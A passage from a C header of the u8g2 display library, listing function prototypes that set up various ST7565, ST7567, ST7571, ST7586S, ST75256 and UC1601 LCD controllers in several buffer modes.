u8g2_Setup_st7565_ea_dogm128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_lm6063_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_64128n_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_zolen_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_lm6059_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_ks0713_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_lx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_erc12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_erc12864_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_nhd_c12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_ea_dogm128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_lm6063_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_64128n_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_zolen_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_lm6059_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_ks0713_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_lx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_erc12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_erc12864_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_nhd_c12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_nhd_c12832_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_nhd_c12832_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_nhd_c12832_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7539_192x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7539_192x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7539_192x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7539_i2c_192x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7539_i2c_192x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7539_i2c_192x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_i2c_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_i2c_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_i2c_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_i2c_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_i2c_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_uc1601_i2c_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_ea_dogm132_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_ea_dogm132_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7565_ea_dogm132_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_pi_132x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_pi_132x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_pi_132x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_pi_132x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_pi_132x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_pi_132x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_enh_dg128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_enh_dg128064i_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_os12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_enh_dg128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_enh_dg128064i_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_os12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_enh_dg128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_enh_dg128064i_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_os12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_enh_dg128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_enh_dg128064i_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_os12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_enh_dg128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_enh_dg128064i_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_os12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_enh_dg128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_enh_dg128064i_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_os12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_erc13232_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_erc13232_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_erc13232_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_erc13232_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_erc13232_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_erc13232_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_hem6432_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_hem6432_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_hem6432_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_hem6432_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_hem6432_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7567_i2c_hem6432_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_i2c_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_i2c_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_i2c_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_i2c_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_i2c_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7571_i2c_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_s028hn118a_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_s028hn118a_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_s028hn118a_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_jlx384160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_jlx384160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_jlx384160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_erc240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_ymc240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_erc240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_ymc240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_erc240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7586s_ymc240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7588_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7588_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7588_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7588_i2c_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7588_i2c_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7588_i2c_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75160_jm16096_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75160_jm16096_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75160_jm16096_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75160_i2c_jm16096_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75160_i2c_jm16096_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75160_i2c_jm16096_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_wo256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_wo256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_wo256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_wo256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_wo256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_wo256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256160m_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256160_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256160m_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256160_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256160m_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx256160_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256160m_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256160_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256160m_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256160_alt_2(u8g2_t *u8g2, const 